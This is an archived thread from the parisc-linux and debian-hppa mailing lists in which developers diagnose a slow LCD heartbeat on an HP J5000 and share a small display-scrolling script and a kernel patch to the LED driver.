> > > > won't bother tracing it down.
> > >
> > > Don't bother. I have that kind of message left on my j5k LCD has well,
> > > that's been there for ages, without problem.
<snip>

> it's not that simple.
> If you want to have it gone, add
> @reboot echo "" > /proc/pdc/lcd
> in your root crontab :)

I think that's a perfectly acceptable solution for me, so I've done that.=20
Thankyou!
<snip>

> > > > Did you have any hints you could give me as to fix my very
> > > > occasional heartbeat issue either?
> > >
> > > I recall that the LCD heartbeat is quite slow on my j5k as well, but
> > > nothing really awful, afaicr.
> >
> > Well, here it's sufficiently slow to be utterly useless as a heartbeat,
> > anyway. It usually flips state every 10-30 seconds, depending on how it
> > feels. It certainly doesn't boot.
> >
> > I realise the LCD functionality is something fairly minor, and that I'm
> > being picky, but I'd be happy to invest some time to do some fine
> > tuning. =A0The only two must-haves for me is to nail the INI CC01 messa=
ge
> > being displayed over the Linux kernel version display, and preferably to
> > make my heart beat too ;)
>
> The LED/LCD driver uses tasklets, which are quite CPU expensive. I think
> this is one of the reason the heartbeat is slow. Though 30s seems alot to
> me either.

Well, I've had a bit of a play with this, and think I have a feel of what=20
causes it. =A0

The led_LCD_driver() fires each time the tasklet decides the led statuses=20
should change, but each time it only updates at best one of the four LEDs.

Every time it fires, it either updates one led, or it writes the command=20
register, to avoid sleeping. =A0 This means, that it requires eight fires o=
f=20
the tasklet (and eight times of it having decided an LCD state should flip)=
=20
before the heartbeat will be written to. =A0It seems to be a rare occasion =
that=20
these all line up (most of the time the heartbeat has pulsed back to its=20
previous state before the LCD panel itself gets updated.

I'm wondering whether it's worth doing one of the following:

Add a separate workqueue and use that instead of the tasklet, as the workqu=
eue=20
function can sleep, update the heartbeat each time it fires, as well as any=
=20
of the other LEDs that have changed state.

Add a single workqueue item for the heartbeat LED and use the tasklet to=20
handle the rest of the LEDs, as it seems to do an acceptable job for them.

What are your thoughts on that?

Cheers,

David


> HTH
>
> Thibaut VARENE
> The PA/Linux Team
> http://www.pateam.org/

--nextPart3181268.95lL0VQsb7
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCPgU8OIrGtzS07WgRAv0tAJ98wRPdBAvpg4CrPGO8229Ind1r0gCeOhNa
bpAeSxM8I7/4iuHyQkrYM+0=
=4MMo
-----END PGP SIGNATURE-----

--nextPart3181268.95lL0VQsb7--

--===============0809243431==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0809243431==--



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: J5000 LCD heartbeat
Date: Sun, 20 Mar 2005 21:52:05 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <20050320215205.GA17959__20006.5220975832$1416623705$gmane$org@ntlworld.com>
References: <200503191959.05972.dmp@davidmpye.dyndns.org> <200503201918.31808.dmp@davidmpye.dyndns.org> <20050320204032.3ed40468@Tatooine.r3z0> <200503201952.31465.dmp@davidmpye.dyndns.org> <20050320210357.53534d01@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623705 13112 80.91.229.3 (22 Nov 2014 02:35:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Mar 2005 21:48:57 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx064) with SMTP; 20 Mar 2005 22:48:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id C73742E0C4; Sun, 20 Mar 2005 15:48:54 -0600 (CST)
Old-Return-Path: <sdbrady@ntlworld.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mta10-winn.mailhost.ntl.com (smtpout18.mailhost.ntl.com [212.250.162.18])
	by murphy.debian.org (Postfix) with ESMTP id B8E402DE70
	for <debian-hppa@lists.debian.org>; Sun, 20 Mar 2005 15:48:48 -0600 (CST)
Original-Received: from aamta06-winn.mailhost.ntl.com ([212.250.162.8])
          by mta10-winn.mailhost.ntl.com with ESMTP
          id <20050320214847.LKZA12495.mta10-winn.mailhost.ntl.com@aamta06-winn.mailhost.ntl.com>;
          Sun, 20 Mar 2005 21:48:47 +0000
Original-Received: from janus ([82.9.44.89]) by aamta06-winn.mailhost.ntl.com
          with ESMTP
          id <20050320214847.OQCG5678.aamta06-winn.mailhost.ntl.com@janus>;
          Sun, 20 Mar 2005 21:48:47 +0000
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1DD8L7-0004g0-00; Sun, 20 Mar 2005 21:52:05 +0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <20050320210357.53534d01@Tatooine.r3z0>
User-Agent: Mutt/1.3.28i
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-5.0 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <DMNZ5D.A._ZH.G_ePCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4327
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun, 20 Mar 2005 15:48:54 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: qINWKrMkTlIv47eQeGhrSVVGU2poZZkc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22462

On Sun, Mar 20, 2005 at 09:03:57PM +0100, Thibaut VARENE wrote:
> it's not that simple.
> If you want to have it gone, add 
> @reboot echo "" > /proc/pdc/lcd
> in your root crontab :)

BTW, If anyone really wants scrolling, this script should do it.  It has
to use character 16 for spaces, which is a bit broken -- YMMV.

====================
#!/bin/bash

STR="Linux $(uname -r)   "
END=""

# Prevent the PDC from stripping leading spaces by
# using character 16 (octal 20) as a space...

STR="$(echo "$STR" | tr ' ' '\20')"

while(true); do
	echo "${STR}${END}" > /proc/pdc/lcd
	END="${END}${STR:0:1}"
	STR="${STR:1}"
	if [ -z "${STR:-}" ]; then
		STR="${END}"
		END=""
	fi
	sleep 0.25
done
====================

The character set is interesting:

1-8 for the disk/network/heartbeat symbols
32-127 are the standard ascii characters, except that:
   92 is a yen symbol
  126 is a left arrow
  127 is a right arrow
128-159 are unused
160-254 seem to be a mix of japanese, greek and accented roman letters
240 is an empty box
255 is a filled in square

Hope that helps,
-- 
Stuart Brady


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: J5000 LCD heartbeat
Date: Mon, 21 Mar 2005 04:55:06 +0000
Lines: 139
Approved: news@gmane.org
Message-ID: <20050321045506.GA18458@ntlworld.com>
References: <200503191959.05972.dmp@davidmpye.dyndns.org>
	<20050320210357.53534d01@Tatooine.r3z0>
	<200503202257.31924.dmp@davidmpye.dyndns.org>
	<200503202317.05481.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623705 13371 80.91.229.3 (22 Nov 2014 02:35:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Mar 2005 04:51:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 21 Mar 2005 05:51:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E7147D66C;
	Sun, 20 Mar 2005 21:53:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04151-08; Sun, 20 Mar 2005 21:53:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 23DE37D65A;
	Sun, 20 Mar 2005 21:53:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F3A27D658
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 21:53:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04151-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 21:53:14 -0700 (MST)
Original-Received: from mta10-winn.mailhost.ntl.com (smtpout18.mailhost.ntl.com
	[212.250.162.18])
	by free.linux.hp.com (Postfix) with ESMTP id 202067D643
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Mar 2005 21:53:13 -0700 (MST)
Original-Received: from aamta07-winn.mailhost.ntl.com ([212.250.162.8])
	by mta10-winn.mailhost.ntl.com with ESMTP id
	<20050321045148.WSLU12495.mta10-winn.mailhost.ntl.com@aamta07-winn.mailhost.ntl.com>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 04:51:48 +0000
Original-Received: from janus ([82.9.44.89]) by aamta07-winn.mailhost.ntl.com with ESMTP
	id <20050321045148.UYXT10174.aamta07-winn.mailhost.ntl.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 04:51:48 +0000
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1DDEwU-0004oe-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 04:55:06 +0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200503202317.05481.dmp@davidmpye.dyndns.org>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kT5VKiweTlIv47eQeGhrSVVGU2poZdms
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22463

On Sun, Mar 20, 2005 at 11:17:03PM +0000, David Pye wrote:
> It appears my hunch was correct
>   /* update the LCD/LEDs */
>         if (currentleds != lastleds || led_type == LED_HASLCD) {
>             led_func_ptr(currentleds);
>             lastleds = currentleds;
>         }
> 
> If I modify the conditional as above, so it fires the led_func_ptr each time 
> the tasklet fires for LCD users (even if the leds haven't nominally changed) 
> my heart beats!

Ahh, fair enough.

Would it be better to test for "lcd_info.model == DISPLAY_MODEL_LCD"
rather than "led_type == LED_HASLCD"?

I wonder if it's a problem that an "LED" can be updated if it hasn't
changed (and even when there are others that actually need updating).
I think the included patch evens out the heartbeat a bit, but maybe I'm
imagining it...  Does it look okay?
-- 
Stuart Brady


Fix the virtual LEDs for LCD chassis displays.  Thanks to David Pye for
identifying the cause of the incorrect behaviour.

Signed-off-by: Stuart Brady <sdbrady@ntlworld.com>

Index: drivers/parisc/led.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/led.c,v
retrieving revision 1.12
diff -u -r1.12 led.c
--- drivers/parisc/led.c	18 Mar 2005 13:17:10 -0000	1.12
+++ drivers/parisc/led.c	21 Mar 2005 04:09:25 -0000
@@ -297,41 +297,53 @@
 static void led_LCD_driver(unsigned char leds)
 {
 	static int last_index;	/* 0:heartbeat, 1:disk, 2:lan_in, 3:lan_out */
-	static int last_was_cmd;/* 0: CMD was written last, 1: DATA was last */
-	struct lcd_block *block_ptr;
-	int value;
-
-	switch (last_index) {
-	    case 0:	block_ptr = &lcd_info.heartbeat;
-			value = leds & LED_HEARTBEAT;
-			break;
-	    case 1:	block_ptr = &lcd_info.disk_io;
-			value = leds & LED_DISK_IO;
-			break;					
-	    case 2:	block_ptr = &lcd_info.lan_rcv;
-			value = leds & LED_LAN_RCV;
-			break;					
-	    case 3:	block_ptr = &lcd_info.lan_tx;
-			value = leds & LED_LAN_TX;
-			break;
-	    default:	/* should never happen: */
-			return;
-	}
-
-	if (last_was_cmd) {
-	    /* write the value to the LCD data port */
-    	    gsc_writeb( value ? block_ptr->on : block_ptr->off, LCD_DATA_REG );
+	static int last_was_cmd;/* 1: CMD was written last, 0: DATA was last */
+	static int first = 1;
+	static int last_leds, last_value;
+	static struct lcd_block *block_ptr;
+	int i, mask;
+
+	if (first) {
+		last_leds = ~leds;
+		first = 0;
+	}
+	
+	if (!last_was_cmd) {
+		for (i = 0; i < 4; i++) {
+			switch (last_index) {
+			    case 0:	mask = LED_HEARTBEAT;
+					block_ptr = &lcd_info.heartbeat;
+					break;
+			    case 1:	mask = LED_DISK_IO;
+					block_ptr = &lcd_info.disk_io;
+					break;
+			    case 2:	mask = LED_LAN_RCV;
+					block_ptr = &lcd_info.lan_rcv;
+					break;
+			    case 3:	mask = LED_LAN_TX;
+					block_ptr = &lcd_info.lan_tx;
+					break;
+			    default:	/* should never happen: */
+					return;
+			}
+
+			last_index++;
+			last_index %= 4;
+
+			if ((leds ^ last_leds) & mask) {
+				last_leds ^= mask; /* the bit has changed */
+				last_value = leds & mask;
+				/* write the command-byte to the LCD command register */
+		    		gsc_writeb( block_ptr->command, LCD_CMD_REG );
+				last_was_cmd = 1;
+				break;
+			}
+		}
 	} else {
-	    /* write the command-byte to the LCD command register */
-    	    gsc_writeb( block_ptr->command, LCD_CMD_REG );
+		/* write the value to the LCD data port */
+    		gsc_writeb( last_value ? block_ptr->on : block_ptr->off, LCD_DATA_REG );
+		last_was_cmd = 0;
 	}    
-	
-	/* now update the vars for the next interrupt iteration */ 
-	if (++last_was_cmd == 2) { /* switch between cmd & data */
-	    last_was_cmd = 0;
-	    if (++last_index == 4) 
-		last_index = 0;	 /* switch back to heartbeat index */
-	}
 }
 
 
@@ -481,7 +493,7 @@
 	}
 	
 	/* update the LCD/LEDs */
-	if (currentleds != lastleds) {
+	if (currentleds != lastleds || lcd_info.model == DISPLAY_MODEL_LCD) {
 	    led_func_ptr(currentleds);
 	    lastleds = currentleds;
 	}
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LCD heartbeat
Date: Mon, 21 Mar 2005 11:42:25 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20050321184225.GB22532@colo.lackof.org>
References: <200503191959.05972.dmp@davidmpye.dyndns.org>
	<20050320210357.53534d01@Tatooine.r3z0>
	<200503202257.31924.dmp@davidmpye.dyndns.org>
	<200503202317.05481.dmp@davidmpye.dyndns.org>
	<20050321045506.GA18458@ntlworld.com>
	<20050321071945.GA10108@colo.lackof.org>
	<20050321134326.GA19102@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623705 13372 80.91.229.3 (22 Nov 2014 02:35:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Mar 2005 18:41:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 21 Mar 2005 19:41:11 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D97D7D65C;
	Mon, 21 Mar 2005 11:42:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08720-08; Mon, 21 Mar 2005 11:42:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88E4F7D664;
	Mon, 21 Mar 2005 11:42:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B9D37D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 11:42:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08726-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 11:42:19 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 23AD37D656
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 11:42:19 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E5E1D29803F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 11:42:26 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25611-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 11:42:25 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8D5D529800A; Mon, 21 Mar 2005 11:42:25 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050321134326.GA19102@ntlworld.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: H3BNYmAQeSE5+76WZHQhaXN2IGRvb0Dp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22464

On Mon, Mar 21, 2005 at 01:43:26PM +0000, Stuart Brady wrote:
> On Mon, Mar 21, 2005 at 12:19:45AM -0700, Grant Grundler wrote:
> > 
> > Hrm...for LCD, can we program all 4 independently?
> 
> Surely not -- they share the same command/data registers, so the command
> byte for one register could be written, with the data for another one.

*nod*
I totatlly overlooked the fact that the target of the writes was
one register pair:
	LCD display at f05d0008,f05d0000 registered


> If this isn't happening, that must be because only one LED is beingk
> updated at a time, but I don't think we should rely on that.

yeah. original scheme is on the right track.
I was not happy with the implementation but I think the
next version will address those (dealt with them offlist).

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LCD heartbeat
Date: Mon, 21 Mar 2005 13:43:26 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <20050321134326.GA19102@ntlworld.com>
References: <200503191959.05972.dmp@davidmpye.dyndns.org>
	<20050320210357.53534d01@Tatooine.r3z0>
	<200503202257.31924.dmp@davidmpye.dyndns.org>
	<200503202317.05481.dmp@davidmpye.dyndns.org>
	<20050321045506.GA18458@ntlworld.com>
	<20050321071945.GA10108@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623705 13379 80.91.229.3 (22 Nov 2014 02:35:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Mar 2005 13:40:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 21 Mar 2005 14:40:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 757DE7D65C;
	Mon, 21 Mar 2005 06:41:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07749-02; Mon, 21 Mar 2005 06:41:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 577487D664;
	Mon, 21 Mar 2005 06:41:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17FDF7D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 06:41:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07676-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 06:41:34 -0700 (MST)
Original-Received: from mta10-winn.mailhost.ntl.com (smtpout18.mailhost.ntl.com
	[212.250.162.18])
	by free.linux.hp.com (Postfix) with ESMTP id 342847D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 06:41:34 -0700 (MST)
Original-Received: from aamta05-winn.mailhost.ntl.com ([212.250.162.8])
	by mta10-winn.mailhost.ntl.com with ESMTP id
	<20050321134008.XKKL12495.mta10-winn.mailhost.ntl.com@aamta05-winn.mailhost.ntl.com>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 13:40:08 +0000
Original-Received: from janus ([82.9.44.89]) by aamta05-winn.mailhost.ntl.com with ESMTP
	id <20050321134008.FGTJ1280.aamta05-winn.mailhost.ntl.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 13:40:08 +0000
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1DDNBm-0004zE-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 Mar 2005 13:43:26 +0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20050321071945.GA10108@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nKtMYoRkeSE5+76WZHQhaXN2IGRvb4A6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22465

On Mon, Mar 21, 2005 at 12:19:45AM -0700, Grant Grundler wrote:
> 
> Hrm...for LCD, can we program all 4 independently?

Surely not -- they share the same command/data registers, so the command
byte for one register could be written, with the data for another one.
If this isn't happening, that must be because only one LED is being
updated at a time, but I don't think we should rely on that.

> On my j6k the change in LCD heartbeat was very faint.
> LCD has a much slower/longer response time than an LED.
> I've basically doubled the "time on" and now heart beat is easy to see.
